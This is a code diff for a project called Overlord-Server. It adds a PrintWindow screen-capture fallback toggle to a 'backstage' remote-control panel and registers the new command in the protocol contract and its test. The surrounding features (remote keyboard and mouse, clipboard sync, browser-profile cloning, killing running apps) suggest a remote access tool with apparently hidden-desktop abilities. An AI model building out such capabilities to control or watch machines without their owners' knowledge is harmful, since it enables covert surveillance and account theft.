document.getElementById("backstageCloneLiteToggle"); @@ -211,6 +218,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s keyboard: !!kbdCtrl?.checked, clipboardSync: !!clipboardSyncCtrl?.checked, uia: !!uiaCtrl?.checked, + printWindowFallback: printWindowFallbackCtrl?.checked !== false, cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false, cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true, killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true, @@ -1281,6 +1289,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s sharedSettingsSaver.scheduleSave(); }); } + if (printWindowFallbackCtrl) { + printWindowFallbackCtrl.addEventListener("change", function () { + sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked }); + sharedSettingsSaver.scheduleSave(); + }); + } function pushbackstageResolution() { if (backstageResolutionSelect) { diff --git a/Overlord-Server/public/backstage.html b/Overlord-Server/public/backstage.html index 145faf7..64cc4ad 100644 --- a/Overlord-Server/public/backstage.html +++ b/Overlord-Server/public/backstage.html @@ -191,6 +191,9 @@ + diff --git a/Overlord-Server/src/generated/wire-contract.ts b/Overlord-Server/src/generated/wire-contract.ts index 129f7be..67afa32 100644 --- a/Overlord-Server/src/generated/wire-contract.ts +++ b/Overlord-Server/src/generated/wire-contract.ts @@ -140,6 +140,7 @@ export const COMMAND_TYPES = [ "backstage_enable_dxgi", "backstage_enable_keyboard", "backstage_enable_mouse", + "backstage_enable_printwindow_fallback", "backstage_enable_uia", "backstage_installed_apps", "backstage_key_down", @@ -305,6 +306,10 @@ export const COMMAND_VERSION_SUPPORT = { "min": 1, "max": 1 }, + "backstage_enable_printwindow_fallback": { + "min": 1, + "max": 1 + }, "backstage_enable_uia": { "min": 1, "max": 1 diff --git a/Overlord-Server/src/protocol-contract.test.ts b/Overlord-Server/src/protocol-contract.test.ts index fd0caa8..583299a 100644 --- a/Overlord-Server/src/protocol-contract.test.ts +++ b/Overlord-Server/src/protocol-contract.test.ts @@ -17,7 +17,7 @@ import { describe("generated wire protocol contract", () => { test("publishes the complete command catalog", () => { expect(WIRE_PROTOCOL_VERSION).toBe(1); - expect(COMMAND_TYPES.length).toBe(141); + expect(COMMAND_TYPES.length).toBe(142); expect(new Set(COMMAND_TYPES).size).toBe(COMMAND_TYPES.length); expect(isCommandType("desktop_start")).toBe(true); expect(isCommandType("virtual_window_list")).toBe(true); diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts index 44ef62a..1cc7f19 100644 --- a/Overlord-Server/src/server/routes/misc-routes.ts +++ b/Overlord-Server/src/server/routes/misc-routes.ts @@ -347,6 +347,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record, ra case "backstage_enable_dxgi": if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled }); break; + case "backstage_enable_printwindow_fallback": + if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_printwindow_fallback", { enabled: !!payload.enabled }); + break; case "backstage_enable_uia": if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled }); break; diff --git a/protocol/wire-contract.json b/protocol/wire-contract.json index ee75c01..56b90ca 100644 --- a/protocol/wire-contract.json +++ b/protocol/wire-contract.json @@ -78,6 +78,7 @@ "backstage_enable_dxgi", "backstage_enable_keyboard", "backstage_enable_mouse", + "backstage_enable_printwindow_fallback", "backstage_enable_uia", "backstage_installed_apps", "backstage_key_down",